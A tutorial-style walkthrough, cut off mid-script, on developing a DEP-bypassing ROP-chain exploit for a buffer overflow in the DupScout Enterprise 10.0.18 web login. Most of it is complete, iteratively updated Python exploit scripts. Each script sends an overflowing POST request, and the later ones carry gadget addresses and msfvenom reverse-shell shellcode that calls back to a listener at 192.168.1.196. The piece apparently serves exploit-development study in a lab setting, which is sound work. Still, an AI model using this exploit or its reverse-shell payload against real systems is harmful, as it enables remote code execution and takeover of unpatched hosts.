ROP - VirtualProtect

Return Oriented Programming (ROP) is an attack technique which is often used during binary exploitation, it utilizes a series of instruction sequences known as gadgets, you chain the gadgets together to accomplish a goal such as setting up the arguments for the VirtualProtect() function, which we will be doing, in order to bypass a security control known as Data Execution Prevention (DEP).

Microsoft Documentation: VirtualProtect()

The vulnerable software we will be attacking is called called Dup Scout enterprise 10.0.18. DupScout is a duplicate files finder allowing one to search and cleanup duplicate files in local disks, network shares, NAS storage devices and enterprise storage systems.

We will be attacking the login functionality of Dup Scouts webserver which is vulnerable to a buffer overflow. The vulnerability was originally found by sickness, who is a an exploit developer, vulnerability researcher, content developer, and course instructor of AWE (Advanced Windows Exploitation) and it’s accompanying certification OSEE (Offensive Security Exploitation Expert) at Offensive Security. You can find his exploitdb entry for DupScout here.

DEP was not enabled in this finding, but we’re going to take it further and switch DEP on and develop an exploit that bypasses it.

I will be using the following for this writeup:

DupScout Enterprise 10.0.18

WinDbg x86

Windows 7 x86

rp++ - https://github.com/0vercl0k/rp/

ASLR (Address Space Layout Randomisation) - Disabled.

DEP (Data Execution prevention) - Enabled.

What is Data Execution Prevention (DEP)?

Over the last 20 years threat actors have abused vulnerabilities in compiled program code. As such, Microsoft and many other product vendors have become increasingly aware of these severe vulnerabilities and have attempted to implement software protections, otherwise called binary exploit mitigations or security controls, to prevent malicious code execution. From Windows XP SP2 and Windows Server 2003 SP1, Microsoft have implemented an exploit mitigation called Data Execution Prevention which is primarily hardware based at the CPU level, and is a custom implementation of the linux security feature W^X (Write XOR Execute). There is also Compile-time Data Execution Prevention, but I won’t be touching on that here. Below is a screenshot of the system-wide mitigations policy settings from Microsoft’s documentation on DEP.

image alt text image alt text

The idea here, as the name Data Execution Prevention suggests, is that no code execution should ever take place in areas like the stack or heap, only memory pages explicitly marked for execution, such as the code segment, may do so. This exploit mitgation marks memory pages to either have the ability to write to memory OR the ability to execute memory, but never both permissions at the same time. Because you can no longer write AND execute memory at the same time, you can no longer simply overwrite the stack instruction pointer (EIP) with a JMP ESP (jmp stack pointer) instruction and have your shellcode executed on the stack. You may be able to write the shellcode onto the stack, but as soon as execution of that code is attempted an exception will be raised as an access violation and the application will terminate.

In the following walkthrough, we are going to look at how to bypass Data Execution Prevention. Once an attacker gains control of a process they may attempt to change memory permissions to bypass or disable DEP so that their shellcode can be executed. To do this, they will want to setup the parameters to a Windows API call like VirtualProtect(). The idea is to identify and borrow small sequences of code within loaded executable modules (DLL’s) and then string them together to setup the parameters to a Windows API call, which will allow us to change the permissions in memory to make that memory region executable again instead of write-only. These code sequences are called “gadgets” or “ROP gadgets”, and we string the gadgets together to create a “ROP chain”.

VirtualProtect

From the documentation we can see that the VirtualProtect function takes the following parameters:

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

This is the Windows API function we’re going to use for bypassing DEP. Let’s take a look at what these function parameters do:

lpAddress - A pointer to the base address of the region of pages whose access protection attributes are to be changed.

dwSize - Specifies the size in bytes of the region whose access protection attributes are to be changed.

flNewProtect - Specifies the new access protection, this parameter takes one of the memory protection constants, 0x40 changes the memory page permissions to read, write, and execute.

lpflOldProtect - A pointer to a variable that the function sets to the previous access protection value of the first page in the specified region of pages, this should be an address that already has write permissions.

But if it is not possible to execute code on the stack, then how do we get the virtualprotect function parameters onto the stack and execute them? Well, even though we can’t execute code, we can still utilize pointers to assembly instructions that already exist within the vulnerable software, such as PUSH, POP, MOV, RET, etc.

Adapting to DEP

Below is my beginning proof of concept exploit for DupScout Enterprise 10.0.18 with DEP enabled :

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from msvcrt.dll

rop = "\x90" * 4 # padding to compensate stack pivot

filler = "C" * (10000 - len(crash)-len(rop))
buffer = crash + rop + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

Just as in the PoC above, you will need to find a memory address within the application that contains a ret instruction, this is called a stack pivot. The stack pivot in this case will return to the stack, I got mine from msvcrt.dll. You may have also noticed that I added some nop instructions after the stack pivot as padding, this is because in this application, the stack pivot will overwrite the next address on the stack, and this will break our exploit if we’re not careful!

Hunting ROP Gadgets

There are a few different ways you can to find ROP gadgets and construct a ROP chain, mona.py is one of these techniques and this will automate this process and build out a ROP chain for you (in some cases). In this post we will be using a tool called rp++ (see requirements), to manually search for ROP gadgets and write a ROP chain manually.

To begin, we want to list out all of the modules (dll’s) that Dup Scout depends on, in windbg type lm m * :

image alt text image alt text

Now using the rp++ tool, extract the gadgets from every module listed, this will give us alot of gadget to work with so that we can put the VirtualProtect parameters onto the stack.

image alt text image alt text

VirtualProtect parameters

Now let’s update the proof of concept exploit and add the VirtualProtect parameters:

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from essfunc.dll

rop = "\x90" * 4 # padding to compensate stack pivot

parameters = struct.pack('<L', 0x77de20d8)    # kernel32!VirtualProtect 77de20d8
parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545)    # lpAddress
parameters += struct.pack('<L', 0x03030303)    # size of shellcode
parameters += struct.pack('<L', 0x54545454)    # flNewProtect
parameters += struct.pack('<L', 0x40BCF080)    # pOldProtect (any writeable address)


filler = "C" * (10000 - len(crash)-len(rop))
buffer = crash + rop + parameters + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

There are a few changes needed here, first we need to reserve a space for the VirtualProtect function and its parameters on the stack, on my computer the location of VirtualProtect was 0x77de0d8.

In WinDbg, type x kernel32!VirtualProtect and copy the address into our first VirtualProtect parameter in the exploit:

image alt text image alt text

In the pOldProtect parameter you need to place any address that has writable permissions.

The return address parameter is not apart of the VirtualProtect parameters, it is the address of where our nop sled is going to reside, after the VirtualProtect function is called the application will jump into the nop sled and slide into our shellcode which will get executed. You could make this exactly the address of where your shellcode is, but it’s easier to use some nop (no operation) instructions.

Now let’s set a breakpoint on our stack pivot, in my case that is 0x6FBBB86, run the exploit and step through the disassembly and observe the virtuaprotect parameters on the stack.

A single step from the breakpoint will land us on the VirtualProtect call.

image alt text image alt text

Taking a look at the stack, we can see that our parameters are up next.

image alt text image alt text

The next goal is to change the values these placeholder parameters point to, for example, we will change the dwSize placeholder to a memory address that points to a value that we have stored in a register (i.e 400 bytes in EAX). By storing 400 bytes in EAX and making the dwSize parameter point to that register, we will have the intended value of dwSize, which is a requirement for the VirtualProtect function. We will do this with all of the functions placeholder parameters using ROP gadgets.

Remember, remember, the stack pointer register…

The stack pointer ESP is going to be pointing to a location on the stack that is near our shellcode, some of the VirtualProtect parameters need to point specifically to our shellcode (lpAddress and return address). If we store the stack pointer in some registers like ECX and EAX we can easily use ADD, SUB, INC, DEC for calculations to make them point at our shellcode.

With that in mind, let’s go and find ROP gadgets that will save ESP into a register(s).

0x77bf5b62: push esp ; pop ecx ; ret  ;  RPCRT4.dll

0x73817a82: mov eax, ecx ; ret  ;  SHELL32.dll

What do these two gadgets do?

push esp ; pop ecx ; ret will push ESP onto the stack and pop it into ECX, so ECX now contains the value of ESP.

mov eax, ecx ; ret this will move the value of ECX which contains the value of ESP, into the EAX register, so now both EAX and ECX contain the value of ESP.

These are our first ROP gadgets, the stack pointer will now be saved in ECX and EAX. To confirm this, we will run the exploit and step through the disassembly from the breakpoint. We need to update our code, below is the updated exploit.

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from essfunc.dll

rop = "\x90" * 4 # padding to compensate stack pivot
rop += struct.pack('<L', 0x77bf5b62) # 0x77bf5b62 push esp ; pop ecx ; ret - RPCRT4.dll
rop += struct.pack('<L', 0x73817a82) # 0x73817a82 mov eax, ecx ; ret  - SHELL32.dll


parameters = struct.pack('<L', 0x77de20d8)    # kerne32!VirtualProtect 77de20d8
parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545)    # lpAddress
parameters += struct.pack('<L', 0x03030303)    # size of shellcode
parameters += struct.pack('<L', 0x54545454)    # flNewProtect
parameters += struct.pack('<L', 0x40BCF080)    # pOldProtect (any writeable address)


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.196 LPORT=4455 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py
buf =  b""
buf += b"\xda\xd8\xd9\x74\x24\xf4\x58\xbb\x68\xe8\x28\x10\x31"
buf += b"\xc9\xb1\x52\x31\x58\x17\x03\x58\x17\x83\xa8\xec\xca"
buf += b"\xe5\xd4\x05\x88\x06\x24\xd6\xed\x8f\xc1\xe7\x2d\xeb"
buf += b"\x82\x58\x9e\x7f\xc6\x54\x55\x2d\xf2\xef\x1b\xfa\xf5"
buf += b"\x58\x91\xdc\x38\x58\x8a\x1d\x5b\xda\xd1\x71\xbb\xe3"
buf += b"\x19\x84\xba\x24\x47\x65\xee\xfd\x03\xd8\x1e\x89\x5e"
buf += b"\xe1\x95\xc1\x4f\x61\x4a\x91\x6e\x40\xdd\xa9\x28\x42"
buf += b"\xdc\x7e\x41\xcb\xc6\x63\x6c\x85\x7d\x57\x1a\x14\x57"
buf += b"\xa9\xe3\xbb\x96\x05\x16\xc5\xdf\xa2\xc9\xb0\x29\xd1"
buf += b"\x74\xc3\xee\xab\xa2\x46\xf4\x0c\x20\xf0\xd0\xad\xe5"
buf += b"\x67\x93\xa2\x42\xe3\xfb\xa6\x55\x20\x70\xd2\xde\xc7"
buf += b"\x56\x52\xa4\xe3\x72\x3e\x7e\x8d\x23\x9a\xd1\xb2\x33"
buf += b"\x45\x8d\x16\x38\x68\xda\x2a\x63\xe5\x2f\x07\x9b\xf5"
buf += b"\x27\x10\xe8\xc7\xe8\x8a\x66\x64\x60\x15\x71\x8b\x5b"
buf += b"\xe1\xed\x72\x64\x12\x24\xb1\x30\x42\x5e\x10\x39\x09"
buf += b"\x9e\x9d\xec\x9e\xce\x31\x5f\x5f\xbe\xf1\x0f\x37\xd4"
buf += b"\xfd\x70\x27\xd7\xd7\x18\xc2\x22\xb0\xe6\xbb\x2d\x84"
buf += b"\x8f\xb9\x2d\x15\x37\x37\xcb\x7f\xa7\x11\x44\xe8\x5e"
buf += b"\x38\x1e\x89\x9f\x96\x5b\x89\x14\x15\x9c\x44\xdd\x50"
buf += b"\x8e\x31\x2d\x2f\xec\x94\x32\x85\x98\x7b\xa0\x42\x58"
buf += b"\xf5\xd9\xdc\x0f\x52\x2f\x15\xc5\x4e\x16\x8f\xfb\x92"
buf += b"\xce\xe8\xbf\x48\x33\xf6\x3e\x1c\x0f\xdc\x50\xd8\x90"
buf += b"\x58\x04\xb4\xc6\x36\xf2\x72\xb1\xf8\xac\x2c\x6e\x53"
buf += b"\x38\xa8\x5c\x64\x3e\xb5\x88\x12\xde\x04\x65\x63\xe1"
buf += b"\xa9\xe1\x63\x9a\xd7\x91\x8c\x71\x5c\xa1\xc6\xdb\xf5"
buf += b"\x2a\x8f\x8e\x47\x37\x30\x65\x8b\x4e\xb3\x8f\x74\xb5"
buf += b"\xab\xfa\x71\xf1\x6b\x17\x08\x6a\x1e\x17\xbf\x8b\x0b"

# Padding between ROP Gadgets and shellcode.
nop2 = "\x90" * 200 

filler = "C" * (10000 - len(crash)-len(parameters)-len(nop2)-len(rop))
buffer = crash + rop + parameters + nop2 + buf + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

We have added our rop gadgets, shellcode, and 200 nops for padding between the parameters and the shellcode. We have added the shellcode now, but it won’t be executed until we change the permissions of the area of memory that it resides in, due to DEP. But DEP allows us to write to it still, just not execute, so it’s best to just add it now so that we can adjust the stack according to the position of the shellcode if we need to later.

Now after running the exploit, let’s step through the disassembly again and look at the change in registers (remember to set a breakpoint on the stack pivot ret instruction).

image alt text image alt text

As you can see above, the state of the registers have changed. ECX and EAX contain the same value. We successfuly saved ESP in ECX and EAX.

image alt text image alt text

Looking at the value of ESP in the above screenshots, we can see that it contains the pointer to VirtualProtect, and the parameters for VirtualProtect are up next on the stack. In order to not overwrite those parameters we need to jump over them, we can do this by finding a rop gadget that adds to the value of ESP, the idea here is to change the value of ESP to be greater than that of the current value which is a pointer to VirtualProtect. So let’s crack open our gadgets again and search for an add ESP, value ; ret gadget.

I found gadget in msvcrt.dll:

0x6ff821d5: add esp, 0x1C ; ret ; - msvcrt.dll

Updated PoC:

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from essfunc.dll

rop = "\x90" * 4 # padding to compensate stack pivot
rop += struct.pack('<L', 0x77bf5b62) # 0x77bf5b62 push esp ; pop ecx ; ret - RPCRT4.dll
rop += struct.pack('<L', 0x73817a82) # 0x73817a82 mov eax, ecx ; ret  - SHELL32.dll
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret - msvcrt.dll

parameters = struct.pack('<L', 0x77de20d8)    # kerne32!VirtualProtect 77de20d8
parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545)    # lpAddress
parameters += struct.pack('<L', 0x03030303)    # size of shellcode
parameters += struct.pack('<L', 0x54545454)    # flNewProtect
parameters += struct.pack('<L', 0x40BCF080)    # pOldProtect (any writeable address)

rop2 = struct.pack('<L', 0x1337BEEF)

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.196 LPORT=4455 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py
buf =  b""
buf += b"\xda\xd8\xd9\x74\x24\xf4\x58\xbb\x68\xe8\x28\x10\x31"
buf += b"\xc9\xb1\x52\x31\x58\x17\x03\x58\x17\x83\xa8\xec\xca"
buf += b"\xe5\xd4\x05\x88\x06\x24\xd6\xed\x8f\xc1\xe7\x2d\xeb"
buf += b"\x82\x58\x9e\x7f\xc6\x54\x55\x2d\xf2\xef\x1b\xfa\xf5"
buf += b"\x58\x91\xdc\x38\x58\x8a\x1d\x5b\xda\xd1\x71\xbb\xe3"
buf += b"\x19\x84\xba\x24\x47\x65\xee\xfd\x03\xd8\x1e\x89\x5e"
buf += b"\xe1\x95\xc1\x4f\x61\x4a\x91\x6e\x40\xdd\xa9\x28\x42"
buf += b"\xdc\x7e\x41\xcb\xc6\x63\x6c\x85\x7d\x57\x1a\x14\x57"
buf += b"\xa9\xe3\xbb\x96\x05\x16\xc5\xdf\xa2\xc9\xb0\x29\xd1"
buf += b"\x74\xc3\xee\xab\xa2\x46\xf4\x0c\x20\xf0\xd0\xad\xe5"
buf += b"\x67\x93\xa2\x42\xe3\xfb\xa6\x55\x20\x70\xd2\xde\xc7"
buf += b"\x56\x52\xa4\xe3\x72\x3e\x7e\x8d\x23\x9a\xd1\xb2\x33"
buf += b"\x45\x8d\x16\x38\x68\xda\x2a\x63\xe5\x2f\x07\x9b\xf5"
buf += b"\x27\x10\xe8\xc7\xe8\x8a\x66\x64\x60\x15\x71\x8b\x5b"
buf += b"\xe1\xed\x72\x64\x12\x24\xb1\x30\x42\x5e\x10\x39\x09"
buf += b"\x9e\x9d\xec\x9e\xce\x31\x5f\x5f\xbe\xf1\x0f\x37\xd4"
buf += b"\xfd\x70\x27\xd7\xd7\x18\xc2\x22\xb0\xe6\xbb\x2d\x84"
buf += b"\x8f\xb9\x2d\x15\x37\x37\xcb\x7f\xa7\x11\x44\xe8\x5e"
buf += b"\x38\x1e\x89\x9f\x96\x5b\x89\x14\x15\x9c\x44\xdd\x50"
buf += b"\x8e\x31\x2d\x2f\xec\x94\x32\x85\x98\x7b\xa0\x42\x58"
buf += b"\xf5\xd9\xdc\x0f\x52\x2f\x15\xc5\x4e\x16\x8f\xfb\x92"
buf += b"\xce\xe8\xbf\x48\x33\xf6\x3e\x1c\x0f\xdc\x50\xd8\x90"
buf += b"\x58\x04\xb4\xc6\x36\xf2\x72\xb1\xf8\xac\x2c\x6e\x53"
buf += b"\x38\xa8\x5c\x64\x3e\xb5\x88\x12\xde\x04\x65\x63\xe1"
buf += b"\xa9\xe1\x63\x9a\xd7\x91\x8c\x71\x5c\xa1\xc6\xdb\xf5"
buf += b"\x2a\x8f\x8e\x47\x37\x30\x65\x8b\x4e\xb3\x8f\x74\xb5"
buf += b"\xab\xfa\x71\xf1\x6b\x17\x08\x6a\x1e\x17\xbf\x8b\x0b"

nop = "\x90" * 4
nop2 = "\x90" * 200
filler = "C" * (10000 - len(crash)-len(parameters)-len(rop))
buffer = crash + rop + parameters + nop + rop2 + nop2 + buf + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

In the above PoC we have added 4 nops between the parameters and gadget to reach the gadgets as well as 1337beef. To test our new gadget, we will add 0x1337BEEF to the PoC, and if everything is okay EIP should contain the value of 0x1337BEEF. If this is successful, it means we have jumped over the VirtualProtect parameters.

image alt text image alt text

As we can see in the above screenshot, EIP has been successully overwritten with 0x1337BEEF! If we take a look at the stack, we can see that we have indeed jumped over the VirtualProtect parameters.

image alt text image alt text

Now that we have successfully jumped over the parameters, we need to replace the placeholder parameters with the real paramaters. We can see that the return address placeholder under the call to VirtualProtect is located at 0x01347474. We’re now going to use the ECX register, which we saved the stack pointer in earlier, to point at the return parameter placeholder. ECX is currently 12 bytes away from the return address parameter placeholder, so if we increment ECX by 12 bytes we should be able make it equal to the return address placeholder.

I found a gadget in shell32.dll, we will repeat this gadget 12 times here:

0x7382a498: inc ecx ; ret ;

Here is the updated PoC (note: we remove 0x1337BEEF here):

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from essfunc.dll

rop = "\x90" * 4 # padding to compensate stack pivot
rop += struct.pack('<L', 0x77bf5b62) # 0x77bf5b62 push esp ; pop ecx ; ret - RPCRT4.dll
rop += struct.pack('<L', 0x73817a82) # 0x73817a82 mov eax, ecx ; ret  - SHELL32.dll
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret - msvcrt.dll

parameters = struct.pack('<L', 0x77de20d8)    # kerne32!VirtualProtect 77de20d8
parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545)    # lpAddress
parameters += struct.pack('<L', 0x03030303)    # size of shellcode
parameters += struct.pack('<L', 0x54545454)    # flNewProtect
parameters += struct.pack('<L', 0x40BCF080)    # pOldProtect (any writeable address)

rop2 = struct.pack('<L', 0x7382a498) # 0x7382a498: inc ecx ; ret  ; - shell32.dll
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.196 LPORT=4455 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py
buf =  b""
buf += b"\xda\xd8\xd9\x74\x24\xf4\x58\xbb\x68\xe8\x28\x10\x31"
buf += b"\xc9\xb1\x52\x31\x58\x17\x03\x58\x17\x83\xa8\xec\xca"
buf += b"\xe5\xd4\x05\x88\x06\x24\xd6\xed\x8f\xc1\xe7\x2d\xeb"
buf += b"\x82\x58\x9e\x7f\xc6\x54\x55\x2d\xf2\xef\x1b\xfa\xf5"
buf += b"\x58\x91\xdc\x38\x58\x8a\x1d\x5b\xda\xd1\x71\xbb\xe3"
buf += b"\x19\x84\xba\x24\x47\x65\xee\xfd\x03\xd8\x1e\x89\x5e"
buf += b"\xe1\x95\xc1\x4f\x61\x4a\x91\x6e\x40\xdd\xa9\x28\x42"
buf += b"\xdc\x7e\x41\xcb\xc6\x63\x6c\x85\x7d\x57\x1a\x14\x57"
buf += b"\xa9\xe3\xbb\x96\x05\x16\xc5\xdf\xa2\xc9\xb0\x29\xd1"
buf += b"\x74\xc3\xee\xab\xa2\x46\xf4\x0c\x20\xf0\xd0\xad\xe5"
buf += b"\x67\x93\xa2\x42\xe3\xfb\xa6\x55\x20\x70\xd2\xde\xc7"
buf += b"\x56\x52\xa4\xe3\x72\x3e\x7e\x8d\x23\x9a\xd1\xb2\x33"
buf += b"\x45\x8d\x16\x38\x68\xda\x2a\x63\xe5\x2f\x07\x9b\xf5"
buf += b"\x27\x10\xe8\xc7\xe8\x8a\x66\x64\x60\x15\x71\x8b\x5b"
buf += b"\xe1\xed\x72\x64\x12\x24\xb1\x30\x42\x5e\x10\x39\x09"
buf += b"\x9e\x9d\xec\x9e\xce\x31\x5f\x5f\xbe\xf1\x0f\x37\xd4"
buf += b"\xfd\x70\x27\xd7\xd7\x18\xc2\x22\xb0\xe6\xbb\x2d\x84"
buf += b"\x8f\xb9\x2d\x15\x37\x37\xcb\x7f\xa7\x11\x44\xe8\x5e"
buf += b"\x38\x1e\x89\x9f\x96\x5b\x89\x14\x15\x9c\x44\xdd\x50"
buf += b"\x8e\x31\x2d\x2f\xec\x94\x32\x85\x98\x7b\xa0\x42\x58"
buf += b"\xf5\xd9\xdc\x0f\x52\x2f\x15\xc5\x4e\x16\x8f\xfb\x92"
buf += b"\xce\xe8\xbf\x48\x33\xf6\x3e\x1c\x0f\xdc\x50\xd8\x90"
buf += b"\x58\x04\xb4\xc6\x36\xf2\x72\xb1\xf8\xac\x2c\x6e\x53"
buf += b"\x38\xa8\x5c\x64\x3e\xb5\x88\x12\xde\x04\x65\x63\xe1"
buf += b"\xa9\xe1\x63\x9a\xd7\x91\x8c\x71\x5c\xa1\xc6\xdb\xf5"
buf += b"\x2a\x8f\x8e\x47\x37\x30\x65\x8b\x4e\xb3\x8f\x74\xb5"
buf += b"\xab\xfa\x71\xf1\x6b\x17\x08\x6a\x1e\x17\xbf\x8b\x0b"

nop = "\x90" * 4
nop2 = "\x90" * 200
filler = "C" * (10000 - len(crash)-len(parameters)-len(rop))
buffer = crash + rop + parameters +  nop + rop2 + nop2 + buf + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

Now, let’s run the exploit and observe the state of the registers and stack.

image alt text image alt text

image alt text image alt text

Look at the value of the ECX register and the value of the location of the return address parameter placeholder (under VirtualProtect), and you will see that these are the same value, which means that we have successfully made the ECX register equal to the location of the return address!

Now we will do lpAddress.

lpAddress is 4 bytes away from the return parameter placeholder. ECX currently contains the value of the return address, so to reach lpAddress all we would have to do is add 4 bytes to it, so what we will do is save ECX in EDX, and then increment EDX by the 4 bytes so that it equal the value of lpAddress.

I found these two gadgets in ntdll.dll:

0x77ef5b70: mov edx, ecx ; ret  ;  - ntdll.dll
0x77f1b27b: inc edx ; ret  ;  - ntdll.dll

The updated PoC:

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from essfunc.dll

rop = "\x90" * 4 # padding to compensate stack pivot
rop += struct.pack('<L', 0x77bf5b62) # 0x77bf5b62 push esp ; pop ecx ; ret - RPCRT4.dll
rop += struct.pack('<L', 0x73817a82) # 0x73817a82 mov eax, ecx ; ret  - SHELL32.dll
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret - msvcrt.dll

parameters = struct.pack('<L', 0x77de20d8)    # kerne32!VirtualProtect 77de20d8
parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545)    # lpAddress
parameters += struct.pack('<L', 0x03030303)    # size of shellcode
parameters += struct.pack('<L', 0x54545454)    # flNewProtect
parameters += struct.pack('<L', 0x40BCF080)    # pOldProtect (any writeable address)

rop2 = struct.pack('<L', 0x7382a498) # 0x7382a498: inc ecx ; ret  ; - shell32.dll
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)

rop2 += struct.pack('<L', 0x77ef5b70) # 0x77ef5b70: mov edx, ecx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b) # 0x77f1b27b: inc edx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.196 LPORT=4455 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py
buf =  b""
buf += b"\xda\xd8\xd9\x74\x24\xf4\x58\xbb\x68\xe8\x28\x10\x31"
buf += b"\xc9\xb1\x52\x31\x58\x17\x03\x58\x17\x83\xa8\xec\xca"
